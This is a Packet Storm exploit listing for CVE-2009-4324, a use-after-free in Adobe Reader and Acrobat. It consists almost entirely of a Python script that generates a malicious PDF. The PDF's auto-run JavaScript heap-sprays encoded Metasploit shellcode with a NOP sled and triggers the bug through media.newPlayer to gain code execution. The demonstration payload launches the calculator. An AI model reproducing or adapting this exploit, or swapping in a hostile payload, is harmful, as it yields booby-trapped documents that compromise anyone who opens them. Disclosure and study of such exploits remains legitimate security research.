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packetstormAhmed ObiedPACKETSTORM:84162
HistoryDec 22, 2009 - 12:00 a.m.

Adobe Reader / Acrobat Use-After-Free Calc.exe

2009-12-2200:00:00
Ahmed Obied
packetstormsecurity.com
55

0.968 High

EPSS

Percentile

99.6%

`#  
# Author : Ahmed Obied ([email protected])  
#  
# This program generates a PDF file that exploits a vulnerability (CVE-2009-4324)   
# in Adobe Reader and Acrobat. The generated PDF file was tested using Adobe   
# Reader 9.2.0 on Windows XP SP3. The exploit's payload spawns the calculator.  
#  
# Usage : python adobe_newplayer.py [output file name]  
#   
  
import sys  
  
class PDF:  
  
def __init__(self):  
self.xrefs = []  
self.eol = '\x0d\x0a'  
self.content = ''  
self.xrefs_offset = 0  
  
def header(self):  
self.content += '%PDF-1.1' + self.eol   
  
def obj(self, obj_num, data):  
self.xrefs.append(len(self.content))  
self.content += '%d 0 obj' % obj_num  
self.content += self.eol + '<< ' + data + ' >>' + self.eol  
self.content += 'endobj' + self.eol  
  
def ref(self, ref_num):  
return '%d 0 R' % ref_num   
  
def xref(self):  
self.xrefs_offset = len(self.content)  
self.content += 'xref' + self.eol  
self.content += '0 %d' % (len(self.xrefs) + 1)  
self.content += self.eol  
self.content += '0000000000 65535 f' + self.eol  
for i in self.xrefs:  
self.content += '%010d 00000 n' % i  
self.content += self.eol  
  
def trailer(self):  
self.content += 'trailer' + self.eol  
self.content += '<< /Size %d' % (len(self.xrefs) + 1)  
self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol  
self.content += 'startxref' + self.eol  
self.content += '%d' % self.xrefs_offset  
self.content += self.eol  
self.content += '%%EOF'  
  
def generate(self):   
return self.content  
  
class Exploit:  
  
def convert_to_utf16(self, payload):  
enc_payload = ''  
for i in range(0, len(payload), 2):  
num = 0  
for j in range(0, 2):  
num += (ord(payload[i + j]) & 0xff) << (j * 8)  
enc_payload += '%%u%04x' % num  
return enc_payload  
  
def get_payload(self):  
# win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub  
# http://metasploit.com  
payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6f'  
payload += '\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e\x6f\x02\x3a\x4b'  
payload += '\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a\x3a\x51\x4f\x03\x5a\x47'  
payload += '\xe4\x36\x3a\x0f\x81\x33\x71\x97\xc3\x86\x71\x7a\x68\xc3\x7b\x03'  
payload += '\x6e\xc0\x5a\xfa\x54\x56\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68'  
payload += '\xe4\x0e\xfa\x85\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a'  
payload += '\x6b\xc1\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'  
payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02\x3a\x66'  
payload += '\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e\x07\x7c\x69\xec'  
payload += '\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61\xd0\x62\x0c\x2c\xd4\x76'  
payload += '\x0a\x02\xb1\x0e'  
return self.convert_to_utf16(payload)  
  
def get_exploit(self):  
exploit = '''  
  
function spray_heap()  
{  
var chunk_size, payload, nopsled;  
  
chunk_size = 0x8000;  
payload = unescape("<PAYLOAD>");  
nopsled = unescape("<NOP>");  
while (nopsled.length < chunk_size)  
nopsled += nopsled;  
nopsled_len = chunk_size - (payload.length + 20);   
nopsled = nopsled.substring(0, nopsled_len);  
heap_chunks = new Array();  
for (var i = 0 ; i < <CHUNKS> ; i++)  
heap_chunks[i] = nopsled + payload;  
}   
  
function trigger_bug()  
{  
util.printd("1.000000000000000000000000 : 0000000", new Date());  
try {  
media.newPlayer(null);  
} catch(e) {}  
util.printd("1.000000000000000000000000 : 0000000", new Date());  
}  
  
spray_heap();  
trigger_bug();  
  
'''  
exploit = exploit.replace('<PAYLOAD>', self.get_payload())  
exploit = exploit.replace('<NOP>', '%u0d0d%u0d0d')  
exploit = exploit.replace('<CHUNKS>', '1200')   
return exploit   
  
def generate_pdf():  
exploit = Exploit()  
pdf = PDF()  
pdf.header()  
pdf.obj(1, '/Type /Catalog /Outlines ' + pdf.ref(2) + ' /Pages ' + pdf.ref(3) + ' /OpenAction ' + pdf.ref(5))  
pdf.obj(2, '/Type /Outlines /Count 0')   
pdf.obj(3, '/Type /Pages /Kids [' + pdf.ref(4) + '] /Count 1')  
pdf.obj(4, '/Type /Page /Parent ' + pdf.ref(3) + ' /MediaBox [0 0 612 792]')  
pdf.obj(5, '/Type /Action /S /JavaScript /JS (%s)' % exploit.get_exploit())   
pdf.xref()  
pdf.trailer()  
return pdf.generate()  
  
def main():  
if len(sys.argv) != 2:  
print 'Usage: python %s [output file name]' % sys.argv[0]  
sys.exit(0)  
file_name = sys.argv[1]  
if not file_name.endswith('.pdf'):  
file_name = file_name + '.pdf'  
try:  
fd = open(file_name, 'w')  
fd.write(generate_pdf())   
fd.close()  
print '[-] PDF file generated and written to %s' % file_name  
except IOError:  
print '[*] Error : An IO error has occurred'  
print '[-] Exiting ...'  
sys.exit(-1)  
  
if __name__ == '__main__':  
main()   
  
  
  
  
  
`